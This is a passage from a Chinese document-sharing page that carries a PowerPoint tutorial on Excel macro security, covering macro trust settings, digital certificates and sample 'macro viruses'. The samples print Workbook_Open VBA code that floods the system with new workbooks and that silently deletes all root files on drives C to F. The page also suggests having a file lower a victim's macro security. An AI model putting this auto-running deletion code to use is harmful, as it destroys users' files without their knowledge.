网站大量收购独家精品文档,联系QQ:2885784924

如何理解EXCEL中的宏.ppt

  1. 1、本文档共215页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
大多数的宏文件都是放置在非受信任位置中的,这也是我们大多数初学者经常面临的宏设置操作 禁用所有的宏 禁用所有的宏(一刀切的做法,有益有害的全部不能使用) 则含有代码的工作簿将无法使用,编写的代码全都无效,等于没有编写 启用所有的宏 一刀切的做法,有益有害的全部都能使用 则不管是有益还是无益甚至有害的宏代码将全部可以使用 不建议采用此项 最好选择折中方法 折中方法是默认的方法,当打开含有宏代码的工作簿时默认会提出警告信息,让你选择运行与否,前面我们已经讲述过,03和07的警告界面是不同的 03是个警告对话框 07是个警告的小工具栏 建议 建议您不要取消宏病毒防护功能,否则您会失去这道防护宏病毒的天然屏障。 小提示 如何自作一个当对方打开含毒的文件时,自动执行修改对方的宏安全设置,将其设置为低模式 这需要使用系统的修改注册表的知识了 即:当打开文件后用vba代码首先修改宏的安全性,然后再运行宏病毒 在此不再讲解如何自动设置宏安全级别的代码,感兴趣可以参考其它书籍 何谓禁用无数字签署的所有宏 数字签名技术 通过给安全的宏文件发放证书的形式,信任我们放置在非受信任位置中的自制的宏文件或接收到的宏文件 创建证书 安装证书 创建证书 安装证书 给含宏代码的文件安装证书 切换到vbe界面,单击工具菜单—数字签名 选择需要的证书 关闭当前含宏文件 单击”是”保存该文件 从新启动该宏文件 小提示 实际上创建的证书根据使用的范围或效力划分可以分为: 个人证书 本机构证书 受信任的第三方证书 个人证书 自己创建的证书,这种证书只有在自己本台电脑上能使用,换台电脑则不被承认,也就说将已经为某个宏文件安装了自己的创建的证书后,再将该宏文件发送给其它电脑后,则其它电脑上是不承认你的证书效力的,还需要从新设置宏的安全级别来运行你的宏代码,或者对方从新安装他自己创建的证书 本机构证书 在本单位内创建并安装的证书,只有在本单位内部的所有电脑上能启用宏文件,在其它机构则不被承认 受信任的第三方证书 微软认可的第三方颁发的证书,这种证书的使用范围比较广一些,我们可以查看微软认可的第三方授权颁发机构名单 打开ie浏览器,单击”工具”菜单---internet选项 (或者在ie浏览器图标上右击鼠标---属性) 查看微软认可的证书颁发机构 解决方法 按键盘上的ctrl+break组合键强行退出循环,单击“结束”按钮即可解决 也可以按键盘上的”ctrl+alt+delete”解决 另法 按alt+f11键后进入vbe编辑界面删除或注释掉掉相应的代码即可 宏病毒2:无穷的新建工作簿 病毒特点 代码编写 如何杀毒 病毒特点 打开含有代码的工作簿后,自动新建无穷的工作簿,直到你的计算机崩溃为止 代码编写 Private Sub Workbook_Open() Dim i For i = 1 To 100 ‘可以将100改为任意大小的数字 Workbooks.Add Next End Sub 解决方法 和上述解决方法类似,但不好控制 宏病毒3:删除文件 病毒特点 代码编写 如何杀毒 病毒特点 打开含有代码的工作簿后,自动删除指定路径的所有文件 注: 该病毒只删除文件,不删除文件夹 而且是彻底删除,不经过回收站 代码编写 Private Sub Workbook_Open() On Error Resume Next Kill f:\1\*.* End Sub 提示:可以将Kill “f:\1\*.*” 更改成多个语句 kill “c:\*.* kill “d:\*.* kill “e:\*.* kill “f:\*.* 完整的代码如下 Private Sub Workbook_Open() On Error Resume Next kill “c:\*.* kill “d:\*.* kill “e:\*.* kill “f:\*.* End Sub 她会将你c:\d:\e:\f:\盘上的根目录下的所有裸露的文件彻底删掉 解决方法 这个病毒不好解决,有些难 减少不必要的恐慌 虽然宏病毒有这样或那样的危害,但是我们大可不必如临大敌,这是因为从以下几个方面我们可以消除疑虑: Office使用者的掌握程度: Office软件有无的考虑 Office版本不兼容 Office内置的天然屏障 office使用者的掌握程度 office的使用者: 大多数的或许就没有听说过宏的相关知识 只有一少部分听说过宏但仅仅停留在了解的阶段 只有非常少的一部分会去录制宏解决问题 只有极少的一部分会手工编写vba代码 要想编写一段很有危害的vba代码需要系统的锻炼,并不是短时间

文档评论(0)

好文精选 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档